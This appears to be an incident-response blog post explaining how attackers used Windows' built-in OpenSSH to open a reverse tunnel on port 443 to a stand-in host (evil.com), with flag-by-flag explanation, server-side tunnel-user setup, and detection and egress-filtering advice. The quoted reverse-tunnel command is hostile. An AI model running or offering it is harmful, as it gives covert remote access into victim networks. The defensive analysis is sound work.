Derek Banks //
Living Off the Land Binaries, Scripts, and Libraries, known as LOLBins or LOLBAS, are legitimate components of an operating system that threat actors can use to achieve their goals during a campaign against your organization. They do this to try to avoid detection from endpoint protection products and as an alternative to writing custom malicious code.
In many cases these binaries are well known, the techniques documented, and (hopefully) the malicious use is detectable by security products or threat hunting processes. However, in a recent incident response engagement, we found a LOLBAS technique that did not fall in that category of well documented. In fact, the technique does not currently appear to be in the MITRE ATT&K framework.
The scenario was that the client had users report odd behavior on their laptops. There were fraudulent purchases made on personal accounts from their work system when they were not at work at the time. When initially investigating, the client determined that there were Remote Desktop Protocol (RDP) connections from their domain controllers to the endpoints in question. Understandably, the client became very concerned and contacted BHIS for Incident Response assistance.
We deployed Velociraptor in the environment and started analyzing network connections to the internet. We found that on a handful of Windows servers, there was a very suspicious Secure Shell (SSH) command connected to an external IP address.
But wait! SSH on a Windows server? Isn’t that a Linux thing?
We have found on both penetration tests and incident response engagement that many still do not realize the impact of the decision Microsoft made in 2018 to include OpenSSH in Windows Server and Desktop OSes.
The old systems administrator in me likes the decision and thinks, “it’s about time I do not need a third party SSH client.” But the security analyst in me knows that SSH is an amazingly powerful and versatile tool. Threat actors know its power and versatility too. It is more capable than just logging in to a remote server and interactively running commands.
Take the command we found during this incident investigation for example:
ssh.exe [email protected] -f -N -R 50000 -p 443 -o StrictHostKeyChecking=no
In this SSH command, the attacker was establishing a SSH connection to the remote server at evil.com with a very specific intent in mind — a reverse tunnel into the victim network so that they can run their own commands against internal systems. This is accomplished with the flags used in this particular command:
- -f: The SSH command runs in the background. Used by the attacker to obfuscate their presence.
- -N: Do not execute a remote command. This is useful when just forwarding ports.
- -R: Specifies that the given port on the remote host is to be forwarded to the local host and port on the victim network. This works by allocating a socket to listen to a port on the remote side and whenever a connection is made to this port, the connection is forwarded over the secure channel and a connection is made to victim machine. This makes it a SOCKS proxy.
- -p: The port used to connect outbound from the internal network to the remote host, in this case, TCP 443, commonly associated with HTTPS, not SSH.
- -o: Options for which there is no specific command line switch, in this case StrictHostKeyChecking=no.
The StrictHostKeyChecking=no option is used so that when the command is run, the SSH client does not ask to verify the server host key… you know, that message we all just answer ‘yes’ to when connecting to an SSH server. But why would the attacker do this?
They wanted to avoid that interactive prompt in a new SSH command from a new host because of persistence. There was a scheduled task that ran a batch file stored in C:\Windows\Temp that was similarly named to a valid Windows DLL.
Some of you may be thinking, “What about the password prompt?” when SSH connects. Others may be thinking that the attackers solved that interactive password prompt by dropping an SSH private key on the system… That is what I thought too.
However, there was not a private key to be found on any of the compromised hosts. This really made me curious; how could that be possible… could it really be no password to authenticate? That would not be a good choice for an attacker to make. After some sciencing in the lab, it turns out that the answer is: sort of…
OpenSSH server allows configuration for a tunnel only user, in that a specific user account can be set up to not receive a shell when authenticating. In the server-side configuration, the following option in the sshd_config file sets up a tunnel only user.
Additionally, the SSH tunnel only user needs to have an empty password. This can be accomplished with the passwd command with the -d switch.
The last configuration piece to allow the tunnel only user to connect is to add ‘ssh’ to the /etc/securetty file. This is necessary for allowing a user with an empty password to login over SSH.
This configuration will not allow the tunnel only user (sshtunnel) to connect and establish a shell or run commands on the remote server, but only establish a connection that sets up the reverse proxy type configuration.
What can an attacker do with this? In many ways, it’s analogous to plugging a computer physically into the network. Making the assumption that there are compromised domain credentials, which is likely to make it to the point of setting up SSH in this manner, you can do pretty much whatever you need to accomplish your nefarious objectives.
For example, you can proxy RDP through SSH to connect to systems that the compromised credential has access to. One of the things I like to do on penetration tests with proxy access similar to this, is use proxychains and Python utilities like Impacket and Python Bloodhound to attempt to avoid host-based detection.
How do you detect and prevent this from happening to your network? One of the most common things we see in Incident Response and Penetration Test clients is the lack of sufficient egress network traffic filtering from the local network to the internet.
If you have an application layer firewall (most firewalls these days probably are), you can prevent a successful SSH connection on an off port by configuring it so that only the expected application traffic can use the associated port. For example, only HTTPS traffic can use TCP 443; SSH cannot.
In addition, it would work to implement a deny rule for any TCP ports you do not use for business purposes. If there are ports that are limited use, like TCP 22 for SSH, and only a few systems administrators need to use it, limit the port to those individuals as an exception.
There are some good detection opportunities here as well. The specific SSH flags in use here are not common for normal systems administration. Alerting on the use of those flags from the command line across your environment should generally be a high-fidelity alert.
From a threat hunting perspective, you could take a look at all of the known_hosts files in the environment. When SSH connects to a host on a port that is not TCP 22, it will put brackets around the host name. In most environments, brackets in a known_hosts file should be considered suspicious.
Please note: the screenshot above is an example known_hosts file and obviously does not contain the atomic indicators (IP address and host name) from the incident. Those are not shared publicly, but if you are a BHIS SOC customer, you already have detection and active threat hunting for this threat actor.
Like this blog? You can learn more straight from Derek himself in his class:
Available live/virtual and on-demand!